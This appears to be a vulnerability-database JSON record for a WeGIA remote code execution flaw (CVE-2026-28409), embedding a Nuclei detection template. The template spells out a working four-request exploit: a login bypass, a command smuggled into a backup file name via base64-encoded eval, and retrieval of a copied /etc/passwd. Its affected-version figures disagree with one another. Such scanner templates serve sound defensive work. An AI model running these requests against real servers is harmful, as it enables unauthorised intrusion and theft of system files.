{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-28409/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-28409/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-28409/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-28409/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-28409/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-28409"},"sightings":{"href":"/api/v1/sightings/cve-2026-28409"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.03315,"kev":false,"percentile":0.8803},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-28409.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-28409\n\ninfo:\n  name: WeGIA <= 3.6.4 - Remote Code Execution\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    WeGIA <= 3.6.5 contains a remote code execution caused by improper validation of backup file names in the database restoration functionality, letting attackers with administrative access execute arbitrary OS commands\n  impact: |\n    Attackers with admin access can execute arbitrary OS commands, potentially leading to full server compromise.\n  remediation: |\n    Upgrade to version 3.6.5 or later.\n  reference:\n    - https://cxsecurity.com/issue/WLB-2026030009\n    - https://github.com/LabRedesCefetRJ/WeGIA\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-28409\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-28409\n    epss-score: 0.03315\n    epss-percentile: 0.8803\n    cwe-id: CWE-78\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: labredescefetRJ\n    product: wegia\n    shodan-query: http.html:\"WeGIA\"\n    fofa-query: body=\"WeGIA\"\n  tags: cve,cve2026,wegia,rce,vkev\n\nvariables:\n  filename: \"{{to_lower(rand_text_alpha(8))}}\"\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - raw:\n      - |\n        POST /WeGIA/html/login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        c=true&cpf=admin&id_pessoa=1\n\n    extractors:\n      - type: regex\n        name: session\n        part: header\n        group: 1\n        regex:\n          - 'PHPSESSID=([a-zA-Z0-9]+)'\n        internal: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        internal: true\n\n  - raw:\n      - |\n        POST /WeGIA/html/configuracao/importar_dump.php HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: PHPSESSID={{session}}\n        Content-Type: multipart/form-data; boundary=----test0boundary\n\n        ------test0boundary\n        Content-Disposition: form-data; name=\"usuario\"\n\n        1\n        ------test0boundary\n        Content-Disposition: form-data; name=\"id_pessoa\"\n\n        1\n        ------test0boundary\n        Content-Disposition: form-data; name=\"import\"; filename=\"dump;export F={{filename}};eval $(echo Y2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9XZUdJQS8kRi50eHQ= | base64 -d);poc.dump.tar.gz\"\n        Content-Type: application/gzip\n\n        {{hex_decode(\"1f8b08000000000000030300000000000000000000\")}}\n        ------test0boundary--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 302'\n        internal: true\n\n  - raw:\n      - |\n        GET /WeGIA/html/configuracao/gerenciar_backup.php?action=restore&file=dump%3Bexport+F%3D{{filename}}%3Beval+%24%28echo+Y2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9XZUdJQS8kRi50eHQ%3D+%7C+base64+-d%29%3Bpoc.dump.tar.gz&usuario=1&id_pessoa=1 HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: PHPSESSID={{session}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        internal: true\n\n  - raw:\n      - |\n        GET /WeGIA/{{filename}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100ed97936b7219e7035f92a8d52a6a212525f2cbb6ad74707397685a1eede3e0ae022100b7e630aba9778d4e28382b12d9e1b34ab8eada9517b4b02d51467efcdf22cad3:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-28409"}